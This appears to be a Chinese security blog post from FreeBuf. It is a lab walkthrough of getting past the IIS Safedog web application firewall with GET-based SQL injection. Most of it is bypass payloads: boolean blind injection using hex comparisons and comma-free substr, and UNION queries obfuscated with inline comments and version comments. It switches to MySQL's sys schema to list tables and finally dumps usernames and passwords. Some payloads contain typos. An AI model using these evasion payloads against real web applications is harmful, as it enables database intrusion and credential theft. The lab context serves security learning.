freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

iis某狗注入绕过(get)
2022-10-21 11:30:52
所属地 四川省

​首先呢服务器上安装的是一个最新版的iis安全狗

编辑

UUUUUUUUUUUUUUUUUUUU

这里将防护等级也设置成高级

编辑

部署好我们的靶场

首先用布尔注入的方式尝试绕过第一个整型注入

编辑

将我们的靶场整型注入改成get的提交方式

编辑

成功修改为get了

编辑

首先一如即让,探测一下是否存在注入

因为是get注入所以我们可以直接构造

and 1=1

显然行不通啊,那咱换个方式

编辑

这里我们用id=\Nor+0x30=0x30

可以明显判断出这里是存在注入的

编辑

接下来构造语法获取当前数据库版本

先使用常规的试试

ascii(substr(version(),2,1)=100)

显然也是不行,这里可以来判断一下是哪个字符被拦截了

编辑

就挺尴尬,and被拦截了

编辑

尝试绕过

ascii(substr(@@version,2,1))<70

成功得到回显

编辑

接下来想办法拿到数据库名

常规的database()肯定是不行,盲猜这里做了屏蔽

编辑

结果也很明显

更正语法,将被过滤的database()转换成hex成功绕过(此处修改一下,hex结果不准确,建议用下面union的绕过方式更正

编辑

接下来就更简单了,跑包都呗?扔到burp一跑就能出结果

md布尔盲注太痛苦了,就不演示接下来的操作了,各位自行脑补

编辑

此处水100字

编辑

到这里,可以看到能成功获取密码

okk结束~(做的时候没截屏,懒得再做一遍哈哈哈)

又来吧,这次是字符型的布尔!

痛苦面具再次戴上

一波测试下来

万能公式

and 0x30!=0x30(比较符不能更改替换值得到结果)

编辑

接下来构造语句,vince’ and 0x30!=if(substr(@@version from for)=5),0x31,0x30)

这句不用我解释了吧,很简单的

编辑

不成立效果

编辑

如果看不懂from+1+for+1是个啥玩意的话

编辑

用你熟悉的也行,这里科普一下为啥鄙人要用稍微麻烦点的姿势

部分waf会拦截逗号,所以这里为了‘不必要的麻烦’就用了这么一种绕过的姿势,但显然,某狗不拦截逗号

所以后面的玩意儿咱就不做了吧~

算了,还是稍微演示一下别又说我水帖

编辑

首先这个姿势肯定不行,waf拦截了关键词

还是那个办法,转成hex试试(这个位置也是,更正一下使用,用union的方法,hex不准确)

编辑

姿势到位,ok往后咱就不做了,别说我水,确实麻烦

接下来就是union的绕过了

这次尽量不水哈哈哈

还是先从整型开始吧

探测没啥好说,不理解的自己往上翻翻

编辑

这个位置order by是被拦截的

我们可以构造一些乱七八糟的语法比如

编辑

这样他就不拦截了

(order by 测出只有俩列)

ok上戏

构造union语法,这个会呗不用教呗

但是,order by 都会被拦截,union select不用想直接死

这里可以试试上面吧的绕过方式

编辑

成功绕过

到这里,可以看下图,发现带入查询的话,会被拦截,但是问题不大,它拦截,咱就绕过呗

编辑

有点曲折但成功绕过

编辑

ok往下继续构造

union select 1, group_concat(table.name from information_schema.tables where table.schema=database())

1+union/*//--//*/select+1,table.name+from+information_schema.tables+where+table.schema=database/*!77777777777777777777777777777777777777afafdfdaddddddddddddddddd*/())

依旧被拦截,这里拆开看一下,发现是informatin_schema.tables被拦截了,试过从中间隔断发现效果并不理想

查询了一点资料(姿势储备不足)

悟到一个小姿势点,既然information_schema被过滤,那咱可以换一个呀不用去想着绕过撒

mysql5.7+的版本新增了sys schema

这里知道了语法便重新构造语法

group_concat(table_name) from sys.schema_auto_increment_columns where table_schema=database()--+

这里拿到 表,开始往下构造

直接到最后一步

获取账号密码

union/*//--//*/select+1,oup_concat(username,password)from `users`+limit+1

编辑

接下来是字符型的union

上面操作不再演示了,直接到最后一步

vince'+union/*//--//*/select+1,group_concat(username,password)+from+`users`+limit+2--+

语法大差不差,最后一步确实不难,难的是中间

post的后面再做演示

# web安全 # 安全狗绕过 # sql注入各种姿势
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者